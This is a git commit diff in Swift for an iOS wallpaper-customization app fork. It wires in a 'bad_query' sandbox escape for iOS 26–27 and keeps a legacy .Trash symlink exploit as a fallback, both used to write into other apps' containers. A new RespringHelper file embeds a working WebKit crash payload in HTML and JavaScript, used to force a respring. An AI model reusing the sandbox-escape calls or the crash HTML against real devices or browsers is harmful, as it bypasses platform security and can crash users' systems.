Add bad_query support for iOS 26–27.0b4

Integrate forcequitOS/bad_query for sandbox-escaped PosterBoard
writes, on-device container UUID detection (no PC/Nugget required),
descriptor wipe for Reset Collections, and Mond-style WebKit
respring that works under LiveContainer.

Rebrand fork to com.mak5er.Pocket-Poster; credit Mak5er.
This commit is contained in:
Mak5er committed 2026-08-11 05:21:59 +03:00
1 parent fb07aa4558
commit 18a67ec171
21 files changed
+1223 -102

No files matched your search

@@ -134,13 +134,32 @@ class CarPlayManager {
}
}
// symlink and apply
let _ = try SymHandler.createAppSymlink(for: "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images")
defer {
SymHandler.cleanup()
}
for imgURL in toRemove {
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
let cacheRel = "\(appHash)/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
if SymHandler.prefersBadQuery {
let destPath = BadQuery.carPlayCachePath(appHash: appHash)
do {
try SymHandler.writeFilesViaBadQuery(toDirectory: destPath, files: toRemove)
// remove local staging copies after successful write
for imgURL in toRemove {
try? FileManager.default.removeItem(at: imgURL)
}
} catch {
print("bad_query CarPlay failed, falling back to symlink: \(error)")
let _ = try SymHandler.createAppSymlink(for: cacheRel)
for imgURL in toRemove {
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
}
}
} else {
// legacy symlink + trashItem
let _ = try SymHandler.createAppSymlink(for: cacheRel)
for imgURL in toRemove {
try FileManager.default.trashItem(at: imgURL, resultingItemURL: nil)
}
}
UserDefaults.standard.set(activeWP, forKey: "ActiveCarPlayWallpapers")
let test = SymHandler.getDocumentsDirectory().appendingPathComponent("Caches")
@@ -30,12 +30,16 @@ class PosterBoardManager: ObservableObject {
}
func setSystemLanguage(to new_lang: String) -> Bool {
// Load Preferences private frameworks if needed
dlopen("/System/Library/PrivateFrameworks/SettingsFoundation.framework/SettingsFoundation", RTLD_NOW)
dlopen("/System/Library/PrivateFrameworks/Preferences.framework/Preferences", RTLD_NOW)
dlopen("/System/Library/PrivateFrameworks/InternationalSupport.framework/InternationalSupport", RTLD_NOW)
var langManager: NSObject = NSObject()
if #available(iOS 18.0, *) {
guard let obj = objc_getClass("IPSettingsUtilities") as? NSObject else { return false }
langManager = obj
} else {
// TODO: Need to find the correct class for this on iOS 17
guard let obj = objc_getClass("PSLanguageSelector") as? NSObject else { return false }
langManager = obj
}
@@ -47,6 +51,63 @@ class PosterBoardManager: ObservableObject {
return false
}
/// Wipe PosterBoard custom descriptor collections using bad_query (real delete).
/// Falls back to language-toggle trick on older exploit path.
func resetCollections(appHash: String) throws {
if SymHandler.prefersBadQuery {
try wipeDescriptorsViaBadQuery(appHash: appHash)
return
}
// Legacy: language toggle forces PosterBoard to rebuild collections
guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else {
throw ApplyError.unexpected(info: "Could not read system language for reset.")
}
guard setSystemLanguage(to: lang) else {
throw ApplyError.unexpected(info: "Language API failed. Reset collections manually in Settings → Language & Region.")
}
}
/// Delete everything under each PRBPosterExtensionDataStore/*/Extensions/*/descriptors.
private func wipeDescriptorsViaBadQuery(appHash: String) throws {
let ver = SymHandler.getExtensionVersion()
let extensionsRoot = BadQuery.applicationContainerPath(appHash: appHash)
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(ver)/Extensions"
// Open parent with sandbox extension
let rootHandle = try BadQuery.consume(path: extensionsRoot, create: true)
defer { rootHandle.release() }
let fm = FileManager.default
guard fm.fileExists(atPath: extensionsRoot) else {
// Nothing to wipe — treat as success (collections already empty / never set up)
return
}
let extDirs = try fm.contentsOfDirectory(atPath: extensionsRoot)
var wiped = 0
for extName in extDirs {
let descriptorsPath = (extensionsRoot as NSString)
.appendingPathComponent(extName)
.appending("/descriptors")
// Ensure we hold an extension on the descriptors dir itself
let descHandle = try? BadQuery.consume(path: descriptorsPath, create: true)
defer { descHandle?.release() }
guard fm.fileExists(atPath: descriptorsPath) else { continue }
let items = (try? fm.contentsOfDirectory(atPath: descriptorsPath)) ?? []
for item in items {
if item == "__MACOSX" || item.hasPrefix(".") { continue }
let full = (descriptorsPath as NSString).appendingPathComponent(item)
try? fm.removeItem(atPath: full)
wiped += 1
}
}
print("resetCollections: wiped \(wiped) descriptor item(s)")
}
func openPosterBoard() -> Bool {
guard let obj = objc_getClass("LSApplicationWorkspace") as? NSObject else { return false }
let workspace = obj.perform(Selector(("defaultWorkspace")))?.takeUnretainedValue() as? NSObject
@@ -70,7 +131,6 @@ class PosterBoardManager: ObservableObject {
if !FileManager.default.fileExists(atPath: path.path()) {
try? FileManager.default.createDirectory(at: path, withIntermediateDirectories: true)
}
let url = path.appending(path: fileName)
// Remove All files in this directory
let existingFiles = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
@@ -78,17 +138,17 @@ class PosterBoardManager: ObservableObject {
{
try FileManager.default.removeItem(at: fileUrl)
}
let url = path.appending(path: normalizedFileName)
let zipURL = path.appending(path: normalizedFileName)
// Save our Zip file
try fileData.write(to: url, options: [.atomic])
try fileData.write(to: zipURL, options: [.atomic])
// Unzip the Zipped Up File
var destinationURL = path
if FileManager.default.fileExists(atPath: url.path())
if FileManager.default.fileExists(atPath: zipURL.path())
{
destinationURL.append(path: "directory")
try fileManager.unzipItem(at: url, to: destinationURL)
try fileManager.unzipItem(at: zipURL, to: destinationURL)
}
return destinationURL
@@ -213,20 +273,34 @@ class PosterBoardManager: ObservableObject {
SymHandler.cleanup()
}
let useBadQuery = SymHandler.prefersBadQuery
if useBadQuery {
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "bad_query sandbox escape…")
}
for (ext, descriptorsList) in extList {
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
var foldersToWrite: [URL] = []
for descriptors in descriptorsList {
// create the folder
for descr in try FileManager.default.contentsOfDirectory(at: descriptors, includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
if descr.lastPathComponent != "__MACOSX" {
try randomizeWallpaperId(url: descr)
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
try FileManager.default.moveItem(at: descr, to: newURL)
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
foldersToWrite.append(descr)
}
}
}
if useBadQuery {
// iOS 26/27: direct write via container_query sandbox extension
do {
try SymHandler.writeDescriptorsViaBadQuery(appHash: appHash, ext: ext, descriptorFolders: foldersToWrite)
} catch {
// Fall back to legacy .Trash symlink if bad_query path fails
print("bad_query apply failed, falling back to symlink: \(error)")
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
}
} else {
try applyDescriptorsViaSymlink(appHash: appHash, ext: ext, folders: foldersToWrite)
}
SymHandler.cleanup()
}
@@ -238,6 +312,16 @@ class PosterBoardManager: ObservableObject {
}
}
/// Legacy exploit: symlink Documents/.Trash → descriptors, then trashItem into it.
private func applyDescriptorsViaSymlink(appHash: String, ext: String, folders: [URL]) throws {
let _ = try SymHandler.createDescriptorsSymlink(appHash: appHash, ext: ext)
for descr in folders {
let newURL = SymHandler.getDocumentsDirectory().appendingPathComponent(UUID().uuidString, conformingTo: .directory)
try FileManager.default.copyItem(at: descr, to: newURL)
try FileManager.default.trashItem(at: newURL, resultingItemURL: nil)
}
}
static func clearCache() throws {
SymHandler.cleanup()
let docDir = SymHandler.getDocumentsDirectory()
@@ -0,0 +1,124 @@
//
// RespringHelper.swift
// Pocket Poster
//
// Mond-style instant respring (WebKit GPU crash @neonmodder123).
// No VC present/dismiss chain — WKWebView on a top-level window, load immediately.
//
import Foundation
import UIKit
import WebKit
import ObjectiveC
enum RespringHelper {
/// Keep the respring window alive until the process dies.
private static var stickyWindow: UIWindow?
private static var stickyWebView: WKWebView?
/// Direct crash payload (inner document from Mond — no outer iframe delay).
/// Credit: @neonmodder123 / Mond
private static let crashHTML = """
<!DOCTYPE html><html><head><meta name="viewport" content="width=device-width"></head><body><script>
(function(){
var c=document.createElement('div');
c.style.cssText='perspective:1px;perspective-origin:9999999% 9999999%;';
document.body.appendChild(c);
for(var i=0;i<500;i++){
var d=document.createElement('div');
d.style.cssText='position:absolute;width:100vw;height:100vh;backdrop-filter:blur(100px);-webkit-backdrop-filter:blur(100px);transform:translate3d(100000px,100000px,'+i+'px) rotateY(90deg);';
c.appendChild(d);
}
setInterval(function(){
try{navigator.share({title:'R',text:'R'.repeat(100000)});}catch(e){}
try{crypto.getRandomValues(new Uint8Array(1024*1024*10));}catch(e){}
},0);
})();
</script></body></html>
"""
/// Instant full respring (Mond path). Safe under LiveContainer.
static func respring() {
#if targetEnvironment(simulator)
print("respring skipped on simulator")
return
#else
// Must be main thread for UIWindow / WKWebView
if !Thread.isMainThread {
DispatchQueue.main.async { fireNow() }
return
}
fireNow()
#endif
}
static func respringNow() { respring() }
private static func fireNow() {
UIImpactFeedbackGenerator(style: .heavy).impactOccurred()
// 1) Kill any alerts instantly so nothing blocks rendering
currentUIAlertController?.dismiss(animated: false)
currentUIAlertController = nil
// 2) Build WKWebView + load crash HTML BEFORE showing window (starts process ASAP)
let config = WKWebViewConfiguration()
config.websiteDataStore = .nonPersistent()
let prefs = WKWebpagePreferences()
prefs.allowsContentJavaScript = true
config.defaultWebpagePreferences = prefs
// Shared process pool warms slightly faster on repeat
config.processPool = WKProcessPool()
let webView = WKWebView(frame: UIScreen.main.bounds, configuration: config)
webView.isOpaque = false
webView.backgroundColor = .black
webView.scrollView.isScrollEnabled = false
webView.scrollView.backgroundColor = .black
// Load payload immediately — don't wait for layout/appear
webView.loadHTMLString(crashHTML, baseURL: URL(string: "about:blank"))
stickyWebView = webView
// 3) Slap it on a top-level window (no present animation, no host VC)
let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
let scene = scenes.first(where: { $0.activationState == .foregroundActive }) ?? scenes.first
let window: UIWindow
if let scene {
window = UIWindow(windowScene: scene)
window.frame = scene.coordinateSpace.bounds
} else {
window = UIWindow(frame: UIScreen.main.bounds)
}
window.windowLevel = .alert + 100
window.backgroundColor = .black
window.isHidden = false
let host = UIViewController()
host.view.backgroundColor = .black
host.view.addSubview(webView)
webView.frame = host.view.bounds
webView.autoresizingMask = [.flexibleWidth, .flexibleHeight]
window.rootViewController = host
window.makeKeyAndVisible()
stickyWindow = window
// Force a layout pass so WebKit starts compositing now
window.layoutIfNeeded()
webView.setNeedsLayout()
webView.layoutIfNeeded()
// Re-load once more after attach (some LC builds only execute JS after in-hierarchy)
webView.loadHTMLString(crashHTML, baseURL: nil)
// 4) Outside LiveContainer, also hit XPC immediately (no delay)
let inLC = ProcessInfo.processInfo.environment["LC_HOME_PATH"] != nil
|| Bundle.main.bundlePath.contains("LiveContainer")
if !inLC {
restartFrontboard()
restartBackboard()
}
}
}
+47 -1
View File
@@ -34,7 +34,12 @@ class SymHandler {
return getLCDocumentsDirectory().appendingPathComponent(".Trash", conformingTo: .symbolicLink)
}
// MARK: Symlink Creation
/// Prefer bad_query (iOS 26/27 sandbox escape); fall back to .Trash symlink exploit.
static var prefersBadQuery: Bool {
BadQuery.isAvailable
}
// MARK: Symlink Creation (legacy exploit for older iOS)
static func createSymlink(to path: String) throws -> URL {
// returns the url of the symlink
let symURL = getSymlinkURL()
@@ -64,6 +69,47 @@ class SymHandler {
return try createAppSymlink(for: "\(appHash)/Library/Application Support/PRBPosterExtensionDataStore/\(extVer)/Extensions/\(ext)/descriptors")
}
// MARK: Direct write via bad_query
/// Copy descriptor folders into PosterBoard descriptors using sandbox escape.
static func writeDescriptorsViaBadQuery(appHash: String, ext: String, descriptorFolders: [URL]) throws {
let destPath = BadQuery.descriptorsPath(appHash: appHash, ext: ext)
print("bad_query writing to \(destPath)")
// Ensure descriptors directory exists (open parent chain if needed)
try BadQuery.ensureDirectory(at: destPath)
let handle = try BadQuery.consume(path: destPath, create: true)
defer { handle.release() }
let fm = FileManager.default
for descr in descriptorFolders {
guard descr.lastPathComponent != "__MACOSX" else { continue }
let destName = UUID().uuidString
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(destName)
if fm.fileExists(atPath: destURL.path) {
try fm.removeItem(at: destURL)
}
try fm.copyItem(at: descr, to: destURL)
}
}
/// Copy files into an absolute directory under an app container via bad_query.
static func writeFilesViaBadQuery(toDirectory destPath: String, files: [URL]) throws {
try BadQuery.ensureDirectory(at: destPath)
let handle = try BadQuery.consume(path: destPath, create: true)
defer { handle.release() }
let fm = FileManager.default
for file in files {
let destURL = URL(fileURLWithPath: destPath).appendingPathComponent(file.lastPathComponent)
if fm.fileExists(atPath: destURL.path) {
try fm.removeItem(at: destURL)
}
try fm.copyItem(at: file, to: destURL)
}
}
static func cleanup() {
// remove the symlink if it exists
let symURL = getSymlinkURL()